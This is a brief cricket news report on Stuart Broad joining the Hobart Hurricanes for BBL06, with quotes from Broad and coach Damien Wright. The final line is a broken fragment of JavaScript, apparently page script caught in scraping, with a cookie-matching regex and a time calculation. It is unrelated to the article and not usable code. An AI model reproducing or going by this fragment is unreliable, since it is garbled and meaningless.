England fast bowler Stuart Broad has signed with the Hobart Hurricanes for BBL06.
Broad fills Hobart’s second international spot for the season, joining Sri Lankan legend Kumar Sangakkara.
“From a personal point of view the BBL looks like a fantastic competition to be involved in,” Broad said.
“Australia is one of my favourite places to play, the pitches and the crowds make for great cricket and atmosphere is fantastic.
“It has been really good to have Hurricanes teammate Dan Christian playing with me at Notts who has been really positive about the Hobart Hurricanes and also the city of Hobart which I’m looking forward to embracing.”
Hurricanes coach Damien Wright said, Broad, who is currently ranked No.4 in the world in Test bowling rankings, fits the team's needs perfectly.
“He will give us great firepower with the ball and will be a fantastic inclusion into our pace attack joining (Shaun) Tait, (Jake) Reed and (Sam) Rainbird,” Wright said.
“It was key to find someone who could contribute in a big way with the ball and we believe we’ve signed one of the very best to do this.
“He is a terrific fella who is determined to do well throughout the Big Bash as well as seeing this as a great opportunity to put himself back in contention for England in the shorter formats of the game.” "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
